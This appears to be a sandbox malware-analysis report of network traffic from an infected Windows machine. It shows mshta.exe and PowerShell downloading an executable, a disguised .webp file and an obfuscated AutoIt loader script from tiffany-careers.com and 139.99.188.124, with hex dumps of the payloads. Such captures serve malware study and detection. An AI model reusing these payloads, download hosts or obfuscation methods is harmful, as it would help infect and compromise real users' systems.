Dec 23, 2024 08:40:08.231163979 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b9 44 61 4c 00 Data Ascii: DaLhC\YLhCKYNhC:YhC.Y<ChCYhCYQ>hCYsLQ@sLP9hCYGhC
Dec 23, 2024 08:40:08.231184006 CET	1236	IN	Data Raw: 46 04 59 83 24 b8 00 47 3b 7e 08 72 e7 ff 76 04 83 66 08 00 e8 bc fb 01 00 59 5f 5e c3 56 8b f1 57 8b 4e 78 85 c9 75 59 8b 46 7c 83 f8 0b 0f 8f 2a a4 03 00 0f 84 0a a4 03 00 83 e8 05 74 4e 83 e8 03 0f 84 df a3 03 00 48 48 0f 84 bd a3 03 00 83 66 Data Ascii: FY$G;~rvfY_^VWNxuYF\|*tNHHfpNTF\|N$NV\Y_^QfxNptQ,SV3WN~^^^N$NT^4^8^<^@^D~H~L^P^d^h^p^x
Dec 23, 2024 08:40:08.231372118 CET	1236	IN	Data Raw: 89 45 f4 f7 d9 89 55 0c 89 4d 08 80 38 08 73 53 83 c2 08 40 89 45 f4 05 f0 f7 ff ff 03 c1 89 55 0c 3b 46 0c 8b 45 f4 7c e2 8b 46 0c 3b d8 74 1a 2b c3 50 8d 86 10 08 00 00 03 c3 50 8d 43 02 8d 04 c6 50 57 ff 15 24 01 49 00 8b 76 04 85 f6 75 8d ff Data Ascii: EUM8sS@EU;FE\|F;t+PPCPW$IvuuW_^[];t +QPCPW$IEUMtDuLMtuWzME8tM@tEujPQWEUM#E
Dec 23, 2024 08:40:08.231401920 CET	1236	IN	Data Raw: 00 83 7e 4c ff 8b f8 74 03 8b 7e 4c 57 53 ff 15 40 01 49 00 6a 00 57 e8 55 08 00 00 eb 8f 8b c8 83 e9 4e 0f 84 aa 9e 03 00 83 e9 05 0f 84 90 9e 03 00 83 e9 28 0f 84 71 9e 03 00 83 e9 09 0f 84 52 9e 03 00 81 e9 8d 00 00 00 0f 84 30 9e 03 00 49 0f Data Ascii: ~Lt~LWS@IjWUN(qR0IIIDjUuuR+t#I4Iu-V&SVPWPVItIIhQQVCj~jwQHjUVW
Dec 23, 2024 08:40:08.231417894 CET	1236	IN	Data Raw: 0f 85 55 9c 03 00 5f 5e 5b 8b e5 5d c2 0c 00 8b 7d 0c 66 8b 46 58 80 bf 90 00 00 00 07 66 89 87 88 00 00 00 66 8b 46 5c 66 89 87 8a 00 00 00 74 5f 66 8b 46 60 66 89 87 8c 00 00 00 66 8b 46 64 66 89 87 8e 00 00 00 8d 45 dc 50 ff 37 ff 15 34 06 49 Data Ascii: U_^[]}fFXffF\ft_fF`ffFdfEP74I9^Xt=9^\tEEP7I9^`9^d{}tfEffEfUwLMEtAXEtA\E~A`E~Ad]
Dec 23, 2024 08:40:08.231436014 CET	1236	IN	Data Raw: 8b 4d 08 56 57 85 c9 0f 88 9e 9b 03 00 83 f9 03 7c 50 3b 8a 84 00 00 00 7f 48 8b 42 74 8b 04 88 8b 00 85 c0 74 3c 8b 75 10 8b 40 04 89 0e 8b 4d 0c 89 01 8b c8 8b 42 60 8b 04 88 83 38 00 74 22 8b 0e 83 f9 03 7c 1b 3b 8a 84 00 00 00 7f 13 8b 42 74 Data Ascii: MVW\|P;HBtt<u@MB`8t"\|;Bt8t_^]2UVW};FttQ?Ft ;u?\|Ft8uO}NxNxFt4FtYNx$~xvNxFtD
Dec 23, 2024 08:40:08.231667995 CET	1236	IN	Data Raw: f8 89 45 0c 83 7d 20 ff 75 46 6a 00 8d 45 e8 50 6a 00 6a 30 ff 15 40 07 49 00 6a 08 ff 15 58 05 49 00 8b 4d ec 2b 4d 18 03 4d f4 2b c8 8b c1 99 2b c2 d1 f8 89 45 20 f7 c3 00 00 40 00 74 11 6a 04 ff 15 58 05 49 00 6a fe 99 59 f7 f9 01 45 20 ff 75 Data Ascii: E} uFjEPjj0@IjXIM+MM++E @tjXIjYE uEujjPIuEjSPIE+Ej5xLju$PE+EPu uSuhIu IVjPIE$GEG<E G@EP74IE+EGDE+EjjGH
Dec 23, 2024 08:40:08.231684923 CET	1236	IN	Data Raw: 00 50 66 a1 b8 77 4c 00 66 89 86 86 00 00 00 8b 55 1c 8b 45 10 8b 4d 14 8b 7d 18 89 55 fc 8b 55 28 83 e2 02 89 45 ec 89 4d f0 89 7d f8 89 55 d8 0f 85 28 9b 03 00 53 ff 75 1c 57 51 50 e8 f4 f1 ff ff 8b 7b 60 8b 43 58 8b 4b 5c 89 7d f8 8b 7b 64 89 Data Ascii: PfwLfUEM}UU(EM}U(SuWQP{`CXK\}{dEM}U}E$2@u$u uuuuWVSUM(xLHxL=DxL}ujVS4{Pu1{T
Dec 23, 2024 08:40:08.231703043 CET	1236	IN	Data Raw: 39 4d 08 7e 46 6a 30 5a 85 ff 78 3f 8b 45 f4 0f b7 04 78 83 f8 39 77 41 66 3b c2 72 3c 2b c2 51 53 99 52 50 e8 64 2b 03 00 01 06 8b 4d fc 11 56 04 4f 8b 45 f8 0f a4 d9 04 6a 30 c1 e3 04 40 89 4d fc 89 45 f8 5a 3b 45 08 7c bd 83 ff ff 75 20 b0 01 Data Ascii: 9M~Fj0Zx?Ex9wAf;r<+QSRPd+MVOEj0@MEZ;E\|u _^[]AF7&f2V~t~Wu~F_N^NytQ~FyuyA@t@yuyAt@UV~u
Dec 23, 2024 08:40:08.350790024 CET	1236	IN	Data Raw: 83 66 04 00 eb df 33 f6 eb e5 55 8b ec 56 8b 75 08 57 8b f9 85 f6 74 54 83 7e 18 00 74 08 ff 76 18 e8 e4 ff ff ff 83 7e 1c 00 75 46 80 7e 10 00 75 15 8b 7e 14 85 ff 74 0e 8b cf e8 29 16 00 00 57 e8 ef d4 01 00 59 8b 46 0c ff 08 8b 46 0c 83 38 00 Data Ascii: f3UVuWtT~tv~uF~u~t)WYFF8u6vYYVY_^]vUQS]VuWM)!_^[]U}tDVW}EPWPuV#yNOwf_^]~FGwfE`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.9	49813	139.99.188.124	80	8348	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Dec 23, 2024 08:40:11.878057957 CET	76	OUT	GET /QWCheljD.txt HTTP/1.1 Host: 139.99.188.124 Connection: Keep-Alive
Dec 23, 2024 08:40:13.384968996 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 23 Dec 2024 07:40:12 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.0.30 Last-Modified: Sun, 15 Dec 2024 10:29:42 GMT ETag: "12ec22-6294c8abc8478" Accept-Ranges: bytes Content-Length: 1240098 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/plain Data Raw: 46 75 6e 63 20 4e 75 74 72 69 74 69 6f 6e 53 70 65 65 64 4d 61 79 6f 72 46 61 6d 69 6c 69 65 73 28 24 53 6d 4b 69 73 73 2c 20 24 45 66 66 69 63 69 65 6e 74 6c 79 46 6f 72 6d 75 6c 61 2c 20 24 43 6f 6e 73 75 6c 74 69 6e 67 53 6f 72 74 73 4c 61 62 73 2c 20 24 66 75 72 74 68 65 72 74 65 72 72 6f 72 69 73 74 2c 20 24 42 49 4b 45 4f 43 43 55 52 52 45 4e 43 45 53 4c 49 47 48 54 2c 20 24 52 65 76 65 72 73 65 50 68 69 6c 69 70 70 69 6e 65 73 29 0a 24 50 64 42 6c 6f 63 6b 73 52 65 73 70 6f 6e 73 65 44 61 74 20 3d 20 27 37 33 39 31 31 39 36 31 38 37 37 32 27 0a 24 56 65 72 69 66 69 65 64 55 6e 64 65 72 73 74 6f 6f 64 56 61 6c 69 64 61 74 69 6f 6e 20 3d 20 33 34 0a 24 69 6f 73 79 6d 70 68 6f 6e 79 73 65 65 6d 73 63 72 75 63 69 61 6c 20 3d 20 35 30 0a 46 6f 72 20 24 4f 64 48 42 74 20 3d 20 32 38 20 54 6f 20 38 36 35 0a 49 66 20 24 56 65 72 69 66 69 65 64 55 6e 64 65 72 73 74 6f 6f 64 56 61 6c 69 64 61 74 69 6f 6e 20 3d 20 33 32 20 54 68 65 6e 0a 53 71 72 74 28 37 39 35 35 29 0a 46 69 6c 65 45 78 69 73 74 73 28 [TRUNCATED] Data Ascii: Func NutritionSpeedMayorFamilies($SmKiss, $EfficientlyFormula, $ConsultingSortsLabs, $furtherterrorist, $BIKEOCCURRENCESLIGHT, $ReversePhilippines)$PdBlocksResponseDat = '739119618772'$VerifiedUnderstoodValidation = 34$iosymphonyseemscrucial = 50For $OdHBt = 28 To 865If $VerifiedUnderstoodValidation = 32 ThenSqrt(7955)FileExists(Wales("73]113]116]120]125]36]81]36]72]109]119]116]121]120]105]36",12/3))$VerifiedUnderstoodValidation = $VerifiedUnderstoodValidation + 1EndIfIf $VerifiedUnderstoodValidation = 33 ThenConsoleWriteError(Wales("75]106]103]119]122]102]119]126]48]74]125]121]119]102]48",25/5))DriveStatus(Wales("87]72]79]72]70]82]80]80]88]81]76]70]68]87]76]82]81]86]67]71]72]86]76]85]72]67",6/2))Dec(Wales("92]77]84]52]70]82]70]95]84]83]72]84]90]80]52]71]90]73]70]85]74]88]89]52]90]83]78]89]88]52",5/1))$VerifiedUnderstoodValidation = $VerifiedUnderstoodValidation + 1EndIfIf $VerifiedUndersto
Dec 23, 2024 08:40:13.385013103 CET	1236	IN	Data Raw: 6f 64 56 61 6c 69 64 61 74 69 6f 6e 20 3d 20 33 34 20 54 68 65 6e 0a 24 4e 75 74 74 65 6e 49 6e 76 65 73 74 6f 72 73 52 61 6c 65 69 67 68 20 3d 20 44 65 63 28 57 61 6c 65 73 28 22 31 30 34 5d 31 31 33 5d 31 30 35 5d 38 36 5d 38 35 5d 39 36 5d 38 Data Ascii: odValidation = 34 Then$NuttenInvestorsRaleigh = Dec(Wales("104]113]105]86]85]96]83]73]78]127]105]97]79]105]77",28/4))ExitLoopEndIfNext$LAYERSSTRICTINNOVATIVE = '66150718350940696046327902621'$DmModsQueries = 68$DRESSDEARANTIQUES = 93Wh
Dec 23, 2024 08:40:13.385030985 CET	448	IN	Data Raw: 6c 4c 69 62 72 61 72 69 61 6e 53 70 69 72 69 74 55 20 3d 20 24 54 68 65 6f 72 65 74 69 63 61 6c 4c 69 62 72 61 72 69 61 6e 53 70 69 72 69 74 55 20 2b 20 31 0a 45 6e 64 49 66 0a 49 66 20 24 54 68 65 6f 72 65 74 69 63 61 6c 4c 69 62 72 61 72 69 61 Data Ascii: lLibrarianSpiritU = $TheoreticalLibrarianSpiritU + 1EndIfIf $TheoreticalLibrarianSpiritU = 18 Then$locateheadquarterssuccessfully = PixelGetColor(Wales("82]124]123]88]85]72]105]73]102]127]126]82]119",5/1), Wales("82]124]123]88]85]72]105]73]
Dec 23, 2024 08:40:13.385062933 CET	1236	IN	Data Raw: 29 0a 43 6f 6e 73 6f 6c 65 57 72 69 74 65 45 72 72 6f 72 28 57 61 6c 65 73 28 22 38 35 5d 31 31 33 5d 31 32 32 5d 31 30 35 5d 31 30 37 5d 31 31 36 5d 31 30 39 5d 35 31 5d 39 35 5d 31 30 39 5d 31 30 35 5d 31 32 30 5d 31 31 39 5d 31 31 38 5d 35 31 Data Ascii: )ConsoleWriteError(Wales("85]113]122]105]107]116]109]51]95]109]105]120]119]118]51",64/8))$HOLDEMOLDSIGMA = $HOLDEMOLDSIGMA + 1EndIfIf $HOLDEMOLDSIGMA = 67 Then$IntendComputersArea = PixelGetColor(90, 215, 0)ExitLoopEndIfIf $HOLDEMOLDSI
Dec 23, 2024 08:40:13.385071039 CET	1236	IN	Data Raw: 5d 39 35 5d 38 33 5d 31 30 32 5d 31 31 39 5d 31 30 36 5d 31 31 36 5d 31 30 36 5d 31 31 32 5d 31 31 31 5d 31 31 36 5d 39 35 22 2c 38 2f 38 29 29 0a 24 6d 69 73 73 69 6f 6e 73 67 72 65 65 6e 68 6f 75 73 65 20 3d 20 24 6d 69 73 73 69 6f 6e 73 67 72 Data Ascii: ]95]83]102]119]106]116]106]112]111]116]95",8/8))$missionsgreenhouse = $missionsgreenhouse + 1EndIfNext$soundsfarswitchsufficiently = '1764830625190115630455157117955314553809907711398'$SCALESWXETHNICOMAHA = 79$eosroutestreasury = 78For
Dec 23, 2024 08:40:13.385080099 CET	1236	IN	Data Raw: 5d 31 32 34 5d 39 35 5d 38 35 5d 31 30 39 5d 38 35 5d 31 31 38 5d 37 38 5d 31 32 38 5d 37 33 5d 31 32 39 5d 37 35 5d 31 31 37 5d 39 36 22 2c 32 34 2f 33 29 29 0a 45 78 69 74 4c 6f 6f 70 0a 45 6e 64 49 66 0a 49 66 20 24 44 49 4c 44 4f 53 59 49 45 Data Ascii: ]124]95]85]109]85]118]78]128]73]129]75]117]96",24/3))ExitLoopEndIfIf $DILDOSYIELDSFAREADDRESSED = 37 ThenConsoleWriteError(Wales("85]81]84]86]96]89]67]73]71]85]96]69]78]67]87]85]71]96]86]67]78]71]85]96",12/6))PixelGetColor(Wales("128]108]
Dec 23, 2024 08:40:13.385088921 CET	1236	IN	Data Raw: 4c 65 73 73 50 68 6f 6e 65 20 2b 20 31 0a 45 6e 64 49 66 0a 57 45 6e 64 0a 24 54 6f 6e 79 54 72 65 61 73 75 72 65 73 45 76 61 6c 75 61 74 69 6e 67 20 3d 20 27 39 35 37 39 30 37 32 38 39 34 31 39 33 37 31 37 34 32 38 33 39 31 39 34 35 34 32 35 37 Data Ascii: LessPhone + 1EndIfWEnd$TonyTreasuresEvaluating = '957907289419371742839194542570574875273050762245784821196346572'$InterestedDieDocs = 28$RenewalTissueBarn = 79While 761If $InterestedDieDocs = 27 ThenFileExists(Wales("76]81]75]77]55]88
Dec 23, 2024 08:40:13.385420084 CET	1236	IN	Data Raw: 6d 65 6e 74 20 3d 20 27 30 30 38 33 30 38 32 36 32 34 30 32 31 31 27 0a 24 41 63 74 72 65 73 73 47 6f 6e 65 4c 69 63 65 6e 73 65 20 3d 20 32 31 0a 24 68 61 73 70 6c 69 74 77 69 72 65 64 73 6c 65 65 70 73 20 3d 20 38 34 0a 57 68 69 6c 65 20 33 34 Data Ascii: ment = '00830826240211'$ActressGoneLicense = 21$hasplitwiredsleeps = 84While 345If $ActressGoneLicense = 19 ThenDriveStatus(Wales("73]118]119]124]112]109]122]55]91]112]119]119]124]55]88]119]123]113]118]111]55",40/5))DriveStatus(Wales("86
Dec 23, 2024 08:40:13.385437965 CET	1236	IN	Data Raw: 3d 20 38 32 0a 46 6f 72 20 24 5a 6d 64 43 58 64 77 20 3d 20 39 34 20 54 6f 20 36 38 30 0a 49 66 20 24 49 6c 6c 6e 65 73 73 46 6f 6c 6b 20 3d 20 36 20 54 68 65 6e 0a 41 54 61 6e 28 38 36 32 38 29 0a 46 69 6c 65 45 78 69 73 74 73 28 57 61 6c 65 73 Data Ascii: = 82For $ZmdCXdw = 94 To 680If $IllnessFolk = 6 ThenATan(8628)FileExists(Wales("68]118]113]116]62",1/1))Sqrt(7932)$IllnessFolk = $IllnessFolk + 1EndIfIf $IllnessFolk = 7 ThenChr(4337)ConsoleWriteError(Wales("76]71]100]78]71]95]100]90
Dec 23, 2024 08:40:13.385446072 CET	1236	IN	Data Raw: 49 6e 63 6f 72 70 6f 72 61 74 65 64 48 6f 75 72 20 3d 20 38 31 20 54 68 65 6e 0a 24 53 74 61 72 74 73 45 71 75 69 74 79 49 6e 63 75 72 72 65 64 4c 61 79 6f 75 74 20 3d 20 38 38 0a 24 41 44 41 50 54 49 56 45 47 52 41 50 48 49 43 46 41 4d 45 47 41 Data Ascii: IncorporatedHour = 81 Then$StartsEquityIncurredLayout = 88$ADAPTIVEGRAPHICFAMEGAUGE = 98For $UcgR = 62 To 786If $StartsEquityIncurredLayout = 87 ThenPixelGetColor(Wales("87]78]76]78]92]92]74]91]82]85]98]51]84]74]82]51]81]94]91]91]82]76]74
Dec 23, 2024 08:40:13.505316019 CET	1236	IN	Data Raw: 20 35 34 20 54 68 65 6e 0a 45 78 70 28 35 34 34 29 0a 50 69 78 65 6c 47 65 74 43 6f 6c 6f 72 28 32 38 2c 20 37 38 39 2c 20 30 29 0a 50 69 78 65 6c 47 65 74 43 6f 6c 6f 72 28 39 37 2c 20 32 35 38 2c 20 30 29 0a 24 52 45 43 4f 4d 4d 45 4e 44 45 44 Data Ascii: 54 ThenExp(544)PixelGetColor(28, 789, 0)PixelGetColor(97, 258, 0)$RECOMMENDEDDOCUMENTED = $RECOMMENDEDDOCUMENTED + 1EndIfIf $RECOMMENDEDDOCUMENTED = 55 ThenDec(Wales("84]81]73]74]84]77]69]90]77]93]86]81]87]86]69]74]81]79]79]77]91]92]69

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.9	49722	147.45.49.155	443	2764	C:\Windows\System32\mshta.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-23 07:39:52 UTC	340	OUT	GET /HA_19-12NGHEP_anh HTTP/1.1 Accept: / Accept-Language: en-CH UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: tiffany-careers.com Connection: Keep-Alive
2024-12-23 07:39:53 UTC	396	IN	HTTP/1.1 200 OK etag: "12fc6-6763dcdf-23c31;;;" last-modified: Thu, 19 Dec 2024 08:44:15 GMT content-length: 77766 accept-ranges: bytes date: Mon, 23 Dec 2024 07:39:52 GMT server: LiteSpeed alt-svc: h3=":443"; ma=2592000, h3-29=":443"; ma=2592000, h3-Q050=":443"; ma=2592000, h3-Q046=":443"; ma=2592000, h3-Q043=":443"; ma=2592000, quic=":443"; ma=2592000; v="43,46" connection: close
2024-12-23 07:39:53 UTC	16384	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 13 b2 ed 95 57 d3 83 c6 57 d3 83 c6 57 d3 83 c6 43 b8 86 c7 56 d3 83 c6 43 b8 80 c7 55 d3 83 c6 43 b8 87 c7 43 d3 83 c6 43 b8 82 c7 50 d3 83 c6 57 d3 82 c6 73 d3 83 c6 43 b8 8a c7 56 d3 83 c6 43 b8 7c c6 56 d3 83 c6 43 b8 81 c7 56 d3 83 c6 52 69 63 68 57 d3 83 c6 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 43 9e 30 35 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$WWWCVCUCCCPWsCVC\|VCVRichWPELC05
2024-12-23 07:39:53 UTC	16384	IN	Data Raw: 32 2e 64 6c 6c 00 00 6f 00 5f 58 63 70 74 46 69 6c 74 65 72 00 c9 00 5f 5f 70 5f 5f 63 6f 6d 6d 6f 64 65 00 00 11 01 5f 61 6d 73 67 5f 65 78 69 74 00 00 a1 00 5f 5f 67 65 74 6d 61 69 6e 61 72 67 73 00 e2 00 5f 5f 73 65 74 5f 61 70 70 5f 74 79 70 65 00 00 ae 04 65 78 69 74 00 00 73 01 5f 65 78 69 74 00 24 01 5f 63 65 78 69 74 00 00 ce 00 5f 5f 70 5f 5f 66 6d 6f 64 65 00 00 07 02 5f 69 73 6d 62 62 6c 65 61 64 00 00 e4 00 5f 5f 73 65 74 75 73 65 72 6d 61 74 68 65 72 72 00 00 e8 01 5f 69 6e 69 74 74 65 72 6d 00 f7 00 5f 61 63 6d 64 6c 6e 00 35 00 3f 74 65 72 6d 69 6e 61 74 65 40 40 59 41 58 58 5a 00 6d 73 76 63 72 74 2e 64 6c 6c 00 00 37 01 5f 63 6f 6e 74 72 6f 6c 66 70 00 00 6a 01 5f 65 78 63 65 70 74 5f 68 61 6e 64 6c 65 72 34 5f 63 6f 6d 6d 6f 6e 00 7f 05 Data Ascii: 2.dllo_XcptFilter__p__commode_amsg_exit__getmainargs__set_app_typeexits_exit$_cexit__p__fmode_ismbblead__setusermatherr_initterm_acmdln5?terminate@@YAXXZmsvcrt.dll7_controlfpj_except_handler4_common
2024-12-23 07:39:53 UTC	16384	IN	Data Raw: 2c 50 7a 2c 75 70 2c 6d 68 2c 47 76 2c 66 4c 2c 75 70 2c 6d 68 2c 47 76 2c 50 7a 2c 50 7a 2c 6d 68 2c 47 76 2c 44 45 2c 6b 62 2c 6d 68 2c 47 76 2c 56 74 2c 66 4c 2c 6d 68 2c 47 76 2c 50 7a 2c 42 45 2c 6d 68 2c 47 76 2c 50 7a 2c 54 70 2c 6d 68 2c 47 76 2c 56 74 2c 6b 62 2c 6d 68 2c 47 76 2c 56 74 2c 70 42 2c 6d 68 2c 47 76 2c 66 4c 2c 54 70 2c 6d 68 2c 47 76 2c 50 7a 2c 50 7a 2c 6d 68 2c 47 76 2c 50 7a 2c 75 70 2c 6d 68 2c 47 76 2c 50 7a 2c 75 70 2c 6d 68 2c 47 76 2c 56 74 2c 66 4c 2c 6d 68 2c 47 76 2c 50 7a 2c 44 45 2c 6d 68 2c 47 76 2c 56 74 2c 66 4c 2c 6d 68 2c 47 76 2c 56 74 2c 56 74 2c 6d 68 2c 47 76 2c 50 7a 2c 50 7a 2c 6d 68 2c 47 76 2c 50 7a 2c 47 76 2c 6d 68 2c 47 76 2c 50 7a 2c 75 70 2c 6d 68 2c 47 76 2c 50 7a 2c 75 70 2c 6d 68 2c 47 76 2c 50 7a Data Ascii: ,Pz,up,mh,Gv,fL,up,mh,Gv,Pz,Pz,mh,Gv,DE,kb,mh,Gv,Vt,fL,mh,Gv,Pz,BE,mh,Gv,Pz,Tp,mh,Gv,Vt,kb,mh,Gv,Vt,pB,mh,Gv,fL,Tp,mh,Gv,Pz,Pz,mh,Gv,Pz,up,mh,Gv,Pz,up,mh,Gv,Vt,fL,mh,Gv,Pz,DE,mh,Gv,Vt,fL,mh,Gv,Vt,Vt,mh,Gv,Pz,Pz,mh,Gv,Pz,Gv,mh,Gv,Pz,up,mh,Gv,Pz,up,mh,Gv,Pz
2024-12-23 07:39:53 UTC	16384	IN	Data Raw: 56 74 2c 6d 68 2c 47 76 2c 66 4c 2c 75 70 2c 6d 68 2c 47 76 2c 56 74 2c 70 42 2c 6d 68 2c 47 76 2c 50 7a 2c 75 70 2c 6d 68 2c 47 76 2c 50 7a 2c 42 45 2c 6d 68 2c 47 76 2c 50 7a 2c 47 76 2c 6d 68 2c 47 76 2c 50 7a 2c 56 74 2c 6d 68 2c 47 76 2c 66 4c 2c 75 70 2c 6d 68 2c 47 76 2c 66 4c 2c 75 70 2c 6d 68 2c 47 76 2c 56 74 2c 70 42 2c 6d 68 2c 47 76 2c 66 4c 2c 54 70 2c 6d 68 2c 47 76 2c 50 7a 2c 50 7a 2c 6d 68 2c 47 76 2c 56 74 2c 6b 62 2c 6d 68 2c 47 76 2c 50 7a 2c 44 45 2c 6d 68 2c 47 76 2c 50 7a 2c 54 70 2c 6d 68 2c 47 76 2c 50 7a 2c 42 45 2c 6d 68 2c 47 76 2c 50 7a 2c 54 70 2c 6d 68 2c 47 76 2c 50 7a 2c 70 42 2c 6d 68 2c 47 76 2c 56 74 2c 70 42 2c 6d 68 2c 47 76 2c 44 45 2c 6b 62 2c 6d 68 2c 47 76 2c 66 4c 2c 54 70 2c 6d 68 2c 47 76 2c 50 7a 2c 54 70 2c Data Ascii: Vt,mh,Gv,fL,up,mh,Gv,Vt,pB,mh,Gv,Pz,up,mh,Gv,Pz,BE,mh,Gv,Pz,Gv,mh,Gv,Pz,Vt,mh,Gv,fL,up,mh,Gv,fL,up,mh,Gv,Vt,pB,mh,Gv,fL,Tp,mh,Gv,Pz,Pz,mh,Gv,Vt,kb,mh,Gv,Pz,DE,mh,Gv,Pz,Tp,mh,Gv,Pz,BE,mh,Gv,Pz,Tp,mh,Gv,Pz,pB,mh,Gv,Vt,pB,mh,Gv,DE,kb,mh,Gv,fL,Tp,mh,Gv,Pz,Tp,
2024-12-23 07:39:53 UTC	12230	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ff ff ff ff ff ff ff ff ff ff ff f0 1f ff ff c0 03 ff ff 00 00 ff fe 00 00 7f fc 00 00 3f f8 00 00 1f f8 00 00 1f f0 00 00 0f 80 00 00 0f 80 00 00 07 00 00 00 03 00 00 00 01 80 00 00 01 80 00 00 01 80 00 00 01 c0 00 00 01 c0 00 00 03 c0 00 00 07 e0 00 00 07 f8 00 00 1f f8 00 00 1f fc 00 00 3f fe 00 00 7f ff 00 00 ff ff c0 03 ff ff f8 1f ff ff ff ff ff ff ff ff ff ff ff ff ff 28 00 00 00 10 00 00 00 20 00 00 00 01 00 04 00 00 00 00 00 80 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 80 00 00 00 80 80 00 80 00 00 00 80 00 80 00 80 80 00 00 c0 c0 c0 00 80 80 80 00 00 00 ff 00 00 ff 00 00 00 ff ff 00 ff 00 00 00 ff 00 ff 00 ff ff 00 00 ff ff ff 00 00 00 08 80 00 00 00 00 Data Ascii: ??(

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.9	49735	147.45.49.155	443	1820	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-23 07:39:57 UTC	82	OUT	GET /New_2025.webp HTTP/1.1 Host: tiffany-careers.com Connection: Keep-Alive
2024-12-23 07:39:57 UTC	502	IN	HTTP/1.1 200 OK cache-control: public, max-age=604800 expires: Mon, 30 Dec 2024 07:39:57 GMT etag: "2ddde-675eff09-25386;;;" last-modified: Sun, 15 Dec 2024 16:08:41 GMT content-type: image/webp content-length: 187870 accept-ranges: bytes date: Mon, 23 Dec 2024 07:39:57 GMT server: LiteSpeed alt-svc: h3=":443"; ma=2592000, h3-29=":443"; ma=2592000, h3-Q050=":443"; ma=2592000, h3-Q046=":443"; ma=2592000, h3-Q043=":443"; ma=2592000, quic=":443"; ma=2592000; v="43,46" connection: close
2024-12-23 07:39:57 UTC	16384	IN	Data Raw: 52 49 46 46 d6 dd 02 00 57 45 42 50 56 50 38 20 ca dd 02 00 30 b5 09 9d 01 2a b0 04 20 03 3e 49 20 8c 45 22 a2 21 21 27 b4 0c 90 50 09 09 65 69 a5 b5 99 3d 38 bf 39 79 ff 5c ff 93 c8 05 89 fd 47 da a2 17 44 b2 23 6d 0f 1e ea eb e0 0d d5 ff f8 5e a5 df e8 3d 4a 3f 7a ee 50 e9 7f da fd 80 3f 98 ff 73 ff b3 e6 17 cc 0d a2 6a 38 7f 8f e3 d3 f6 2f f7 3e a2 b1 7c be 06 ac 60 6f 87 ff 77 cf 5b 99 7c a9 fb 37 e4 ff d0 fb b5 7f 83 e9 9b cd 9f 69 ff 9f f5 5d f0 57 d1 ff f5 7f c8 fe 4b 7c fd ff c3 eb 7f fb ef fc 7f 61 2f ed 5f eb 3f 69 fd ed fa 6b ff 77 ff b3 d5 0f ee 6f ed 97 bb 77 fd 8f fd 7f f3 bf 7d fe 68 7f 62 ff 65 ff 73 fd 67 fc 8f fd 1f 41 1f cf 3f b7 ff d4 fc f5 f9 a4 ff d5 ff a3 dd f3 fb 6f fe 1f fd bf f0 3e 06 bf 9a ff 93 ff 95 f9 cf f3 47 ff bf f7 37 fe Data Ascii: RIFFWEBPVP8 0* >I E"!!'Pei=89y\GD#m^=J?zP?sj8/>\|`ow[\|7i]WK\|a/_?ikwow}hbesgA?o>G7
2024-12-23 07:39:57 UTC	16384	IN	Data Raw: b5 b9 9f 93 89 a6 3f 76 ba dc 0b ab 26 87 ca af f8 05 42 dc eb 24 25 ee 06 00 bd c2 65 db eb 7e 4c 72 64 41 e2 a1 a4 97 a6 22 a3 f7 56 86 86 af d7 d9 85 3a 7b 3e a1 03 a8 ff 4b 9b fb 29 66 b5 50 45 3f bf 69 1f d2 1e e9 3a 82 3c 36 d6 3f 63 ac be cb 6d bf 15 0f 9a 8f 3e 43 f1 f8 a3 e2 a0 39 ee 6a 3d 4f 03 bd 11 0a ca 20 86 86 2f a7 7b 42 ee f9 5a 50 3f 7b 8a 94 81 83 e9 e0 f0 80 ee 64 f3 01 21 73 ae f6 68 c8 df 3d 41 bb ad 9a b5 46 f5 97 82 a8 63 1c 61 48 6f 6e 2e c6 df 74 b7 e2 aa 21 26 d5 07 81 d5 88 1c 37 4a 01 e2 5f 29 75 e4 3f 6d 06 f1 a4 bd c1 e9 77 74 26 fd 10 8b 35 6c 3c 59 e3 fe fa fe 78 4c f0 70 c4 27 44 5f d9 84 c4 7a 20 cb 62 4d 0d 70 8c 59 f5 0b c9 b3 49 c3 17 fe 09 f4 8b 56 9e 76 1a e0 55 76 97 e3 63 ed c5 e8 af 9e aa 0d 2b ac bf 8f a6 03 2f Data Ascii: ?v&B$%e~LrdA"V:{>K)fPE?i:<6?cm>C9j=O 